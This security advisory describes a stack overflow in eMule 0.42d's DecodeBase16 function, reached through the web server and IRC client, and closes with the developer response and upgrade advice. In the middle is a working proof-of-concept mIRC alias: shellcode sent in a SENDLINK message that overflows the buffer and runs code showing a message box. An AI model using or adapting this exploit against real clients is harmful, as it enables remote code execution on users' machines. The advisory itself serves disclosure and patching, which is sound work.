|
|
|
|
| |
| A vulnerability exists in eMule in the DecodeBase16(...) function. This function takes an hexadecimal string, its length, and a destination buffer (on the stack) as parameters. The function decodes whatever is supplied, no length check is performed on the string nor on the buffer, leading to a possible stack overflow. |
| |
Credit:
The information has been provided by Kostya Kortchinsky.
|
| |
Vulnerable Systems:
* eMule version 0.42d and prior
Immune Systems:
* eMule version 0.42e and newer
The vulnerable function is called 5 times in the code: 3 times in the web server (which may require authentication) and 2 times in the IRC client (not connected by default).
uchar userid[16];
DecodeBase16(hash.GetBuffer(),hash.GetLength(),userid);
Proof of concept:
Bourriquet is an mIRC alias exploiting this overflow in v0.42d via the SENDLINK command, it calls MessageBoxA (to display 'Patch your eMule !') and then ExitProcess :
/bourriquet { .quote PRIVMSG $1
$+(:,$chr(1),SENDLINK|,909090909090909090909090909090909090909090909090909090909090909090909090909
09090909090909090909090909090909090909090909090909090909090909090909090909090EB0790907AF65700
906681EC400031C96820210000684D756C656875722065686820796F685061746389E2515152513EFF15C0E7610050
3EFF1568E461009090909090909090909090909090909090909090909090909090909090909090909090909090909
090909090909090909090909090909090909090909090,|,$chr(1))
}
Developer response:
The flaw was reported to bluecow from the eMule Team on March, 30th 2004 on IRC. He stated the issue would be patched in the upcoming eMule release, available here: http://www.emule-project.net/home/perl/news.cgi?l=1&cat_id=22
An effort was also done in changing the IRC server address and kicking out vulnerable clients (nice work :)
Solution/Workaround:
The following options are available:
- Upgrade to eMule version 0.42e,
- Do not use the eMule web server and IRC client.
|
|
|
|
|
|
|
